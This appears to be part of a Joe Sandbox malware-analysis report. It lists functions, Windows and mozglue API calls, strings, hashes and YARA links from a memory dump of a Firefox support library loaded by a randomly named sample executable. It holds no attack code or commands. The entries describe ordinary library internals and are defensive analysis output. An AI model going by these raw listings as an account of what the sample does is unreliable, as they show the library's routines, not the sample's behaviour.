Opcode ID: 6c19140d320bb5f2e91fcbb9820011172920dc0440f4f61eb1d458ecaab4c464
Instruction ID: 2fed7797344d794eb837e264eb0a70802a1327720401166b4713cb5df1ac47b8
Opcode Fuzzy Hash: 6c19140d320bb5f2e91fcbb9820011172920dc0440f4f61eb1d458ecaab4c464
Instruction Fuzzy Hash: 43612671704301DFDF00CFB8DA8AB9A7BB5EB4A324F044529E91583F90D731A899CBA1

Function 6CAA7FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CAA8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CAA801D

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CAA802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CAA803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CAA808D

Part of subcall function 6CAACA10: mozalloc_abort.MOZGLUE(?), ref: 6CAACAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CAA809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CAA80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CAA80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CAA8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CAA8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CAA8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CAA817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA8199

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: a3de89a9cb7eb2a6ea5cfe1cfca34c64b8de9f109f42eedb1100f1e0fc2704b2
Instruction ID: 6041340ff5fc66baa4859905aba9e64dc7e412b642d1eeed9ab28e640db7f5b4
Opcode Fuzzy Hash: a3de89a9cb7eb2a6ea5cfe1cfca34c64b8de9f109f42eedb1100f1e0fc2704b2
Instruction Fuzzy Hash: B35196B2E002549BDB00DFE9DC84AEFB7B9EF49264F180125E815F7741E731A949CBA1

Function 6CAF6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CB1F618), ref: 6CAF6694
GetThreadId.KERNEL32(?), ref: 6CAF66B1
GetCurrentThreadId.KERNEL32 ref: 6CAF66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CAF66E1
EnterCriticalSection.KERNEL32(6CB1F618), ref: 6CAF6734
GetCurrentProcess.KERNEL32 ref: 6CAF673A
LeaveCriticalSection.KERNEL32(6CB1F618), ref: 6CAF676C
GetCurrentThread.KERNEL32 ref: 6CAF67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CAF6868
RtlCaptureContext.NTDLL ref: 6CAF687F

Strings

WalkStack64, xrefs: 6CAF6890

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 903a07a5be2e2f9470ca032a44b7f3ec7321b653099d00254c29b7a5c24df349
Instruction ID: 2fad24aa39ee23c15c99372f0e26d7b8ce87e000a0327d80b5e1a84163447b59
Opcode Fuzzy Hash: 903a07a5be2e2f9470ca032a44b7f3ec7321b653099d00254c29b7a5c24df349
Instruction Fuzzy Hash: 1A51A9B1A09341AFDB11CF24C845A9EBBF4BF89714F04492DF9A887B40D770A949CB92

Function 6CADDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADDE73
GetCurrentThreadId.KERNEL32 ref: 6CADDF7D
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADDF8A
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADDFC9
GetCurrentThreadId.KERNEL32 ref: 6CADDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CAA4A68), ref: 6CADDE7B

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CAA4A68), ref: 6CADDEB8
free.MOZGLUE(00000000,?,6CAA4A68), ref: 6CADDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CADDF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6CADDE83
<none>, xrefs: 6CADDFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CADE00E

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 52193d0946d711bb4371f346d0f5a0f08981c121afea84f10ab7a613d8290200
Instruction ID: 783236f8bb03be01b8bea47388f156cd24b89ad1105d47b8e0ad980f48b211b2
Opcode Fuzzy Hash: 52193d0946d711bb4371f346d0f5a0f08981c121afea84f10ab7a613d8290200
Instruction Fuzzy Hash: 49412676B012109BEB109F69D9097AE7775EB8A31DF090019E909D7F01CB31A889CFF6

Function 6CAED4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAED4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAED4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAED52A
GetCurrentThreadId.KERNEL32 ref: 6CAED530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAED53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAED55F
free.MOZGLUE(00000000), ref: 6CAED585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CAED5D3
GetCurrentThreadId.KERNEL32 ref: 6CAED5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAED605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAED652
GetCurrentThreadId.KERNEL32 ref: 6CAED658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAED667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAED6A2

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 6047b9e2f2258ad85bd1c0cfa929347c87672e7b74a4173d850991d6d1c7d1af
Instruction ID: e3fe5478cf56a45b60e20eec7c358d271f1c648b9bc205b8e59f42221032aa12
Opcode Fuzzy Hash: 6047b9e2f2258ad85bd1c0cfa929347c87672e7b74a4173d850991d6d1c7d1af
Instruction Fuzzy Hash: 84516FB1A04705DFC704DF34C489A9ABBF4FF89358F104A2DE85A87B11DB31A989CB91

Function 6CAB5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CAB56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAB56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CAB56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CAB5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CAB57BC
GetTickCount64.KERNEL32 ref: 6CAB58CB
EnterCriticalSection.KERNEL32(6CB1F688), ref: 6CAB58F3
__aulldiv.LIBCMT ref: 6CAB5945
LeaveCriticalSection.KERNEL32(6CB1F688), ref: 6CAB59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CB1F638,?,?,?,?), ref: 6CAB59E9

Strings

MOZ_APP_RESTART, xrefs: 6CAB56CC

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: ee486567e10e962533bb1d0b0e4bdfc53e2fdc74f526e2db36cabf5d4a16484b
Instruction ID: 9a065add2de774ee8da36a4d1b6e8dc75b851b17e96e1a2b04c7083c9e8dbb77
Opcode Fuzzy Hash: ee486567e10e962533bb1d0b0e4bdfc53e2fdc74f526e2db36cabf5d4a16484b
Instruction Fuzzy Hash: 1BC18F71A087409FDB05CF28C45166ABBF5FFDA714F158A1DE8C8A7A60D730A885CB82

Function 6CADEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADEC8C

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

GetCurrentThreadId.KERNEL32 ref: 6CADECA1
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CADECC5
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CADED19
CloseHandle.KERNEL32(?), ref: 6CADED28
free.MOZGLUE(00000000), ref: 6CADED2F
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CADEC94

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 32c35bf24fd2c1ad01f8ffee2dc04aa087b674a3d3442a94f20435c45ce3367d
Instruction ID: 6b320c25c813ce61d88e98c613ce10ab3deaaa2e5f9bdb91a49cfdc91ecbe394
Opcode Fuzzy Hash: 32c35bf24fd2c1ad01f8ffee2dc04aa087b674a3d3442a94f20435c45ce3367d
Instruction Fuzzy Hash: 5421E2B6600108AFEF009F65D809B9ABB79FB4626CF154210FC1897F41DB31A859CBE1

Function 6CAD8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CA9EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA9EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CADB392,?,?,00000001), ref: 6CAD91F4

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

Strings

marker-table, xrefs: 6CAD906C
stack-chart, xrefs: 6CAD90B2
name, xrefs: 6CAD8F16
timeline-overview, xrefs: 6CAD907A
timeline-memory, xrefs: 6CAD9088
marker-chart, xrefs: 6CAD905E
data, xrefs: 6CAD90E8
timeline-fileio, xrefs: 6CAD90A4
timeline-ipc, xrefs: 6CAD9096

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f3847a03722edde82d673a1778bbe254140aa37890d1cbb8b2d7f11b370bb919
Instruction ID: 999443babe2f4d70cc1d74ce0da44b08c21adfac3842985bf4cd1c55a00e4b1e
Opcode Fuzzy Hash: f3847a03722edde82d673a1778bbe254140aa37890d1cbb8b2d7f11b370bb919
Instruction Fuzzy Hash: EBB1B2B0B012499BDB04CFA8D6527EEBBB5BF85318F144119D406ABF80DB71E989CBD1

Function 6CABC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CABC5A3
WideCharToMultiByte.KERNEL32 ref: 6CABC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CABC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CABCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CABCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CABCAA5

Strings

(null), xrefs: 6CABC596
0, xrefs: 6CABD30A

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 4e256f4e77b8dbb8735e394f938e02944a744d6fc6daf09faf590f45a473dd5d
Instruction ID: a9b0bc65bac5c02d980fb4b63246bc0f932136adfea820f064755c2dfcb7ef28
Opcode Fuzzy Hash: 4e256f4e77b8dbb8735e394f938e02944a744d6fc6daf09faf590f45a473dd5d
Instruction Fuzzy Hash: F4A190306083429FDB00DF28C554B5ABBE9FF89748F18892DE899E7742D735D885CB92

Function 6CABC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CABC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CABC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CABC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CABC891

Strings

inf, xrefs: 6CABC78F
NAN, xrefs: 6CABC7AD
INF, xrefs: 6CABC794
nan, xrefs: 6CABC7A8

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: d23edc37bd7a5e88aa4dfa90615b298164b8f90056ac2cd938a3f11c1b4729ea
Instruction ID: be3d32d051d560a8d8437ec5830c312df66c16b8fdd62ef2821cd2e4780b06bd
Opcode Fuzzy Hash: d23edc37bd7a5e88aa4dfa90615b298164b8f90056ac2cd938a3f11c1b4729ea
Instruction Fuzzy Hash: 94519470A087808BD700DF6CD58569AFBF4BF9A308F044A2DE9D5A7650E770D9C8CB42

Function 6CA94480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CAD4843,?), ref: 6CA945F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CAD4843,?), ref: 6CA9468A
free.MOZGLUE(?,?,?,?,?,?,6CAD4843,?), ref: 6CA946C9
free.MOZGLUE(?), ref: 6CA946EF
free.MOZGLUE(?), ref: 6CA94712
free.MOZGLUE(?), ref: 6CA94735
free.MOZGLUE(?), ref: 6CA94758
free.MOZGLUE(?), ref: 6CA9477B
free.MOZGLUE(?), ref: 6CA9479E

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: ecc289ffc2e351dee887c3ae208c1d1d213e68e11f6b49092c10a4f172612a93
Instruction ID: b8ce3dbf9b4f15507e594f51ec02e973d91bdbd0bcc3addad02c3a11cc3caefc
Opcode Fuzzy Hash: ecc289ffc2e351dee887c3ae208c1d1d213e68e11f6b49092c10a4f172612a93
Instruction Fuzzy Hash: 72B10372A101108FDB189E7CD99676D77F6AF42328F184668E536DFB92E73098C48B81

Function 6CA91E90 Relevance: 16.6, APIs: 9, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E784), ref: 6CA91EC1
LeaveCriticalSection.KERNEL32(6CB1E784), ref: 6CA91EE1
EnterCriticalSection.KERNEL32(6CB1E744), ref: 6CA91F38
LeaveCriticalSection.KERNEL32(6CB1E744), ref: 6CA91F5C
VirtualFree.KERNEL32(?,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,00004000), ref: 6CA91F83
LeaveCriticalSection.KERNEL32(6CB1E784), ref: 6CA91FC0
EnterCriticalSection.KERNEL32(6CB1E784), ref: 6CA91FE2
LeaveCriticalSection.KERNEL32(6CB1E784), ref: 6CA91FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA92019

Strings

MOZ_CRASH(), xrefs: 6CA92000
upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx, xrefs: 6CA91F6B

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()$upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx
API String ID: 2055633661-568492476
Opcode ID: c0d7104f0a2f75fe14f0e2fae806ccdb152b225bc697d8944b4705b3ff11c340
Instruction ID: 3a76d8c9306a2e7bdaf1c483e16dfe7ce8d65fefaaba35be0f628270080f3ed8
Opcode Fuzzy Hash: c0d7104f0a2f75fe14f0e2fae806ccdb152b225bc697d8944b4705b3ff11c340
Instruction Fuzzy Hash: 9541E7B6B043598FEF009FA8C88AB6E3BB5EF59308F040129EA1597F41D7719844CBD1

Function 6CAFAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CAFAC52
CreateFileMappingW.KERNEL32 ref: 6CAFAC7D
GetSystemInfo.KERNEL32 ref: 6CAFAC98
MapViewOfFile.KERNEL32 ref: 6CAFACB0
GetSystemInfo.KERNEL32 ref: 6CAFACCD
MapViewOfFile.KERNEL32 ref: 6CAFAD05
UnmapViewOfFile.KERNEL32 ref: 6CAFAD1C
CloseHandle.KERNEL32 ref: 6CAFAD28
UnmapViewOfFile.KERNEL32 ref: 6CAFAD37
CloseHandle.KERNEL32 ref: 6CAFAD43
CloseHandle.KERNEL32 ref: 6CAFAD67

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
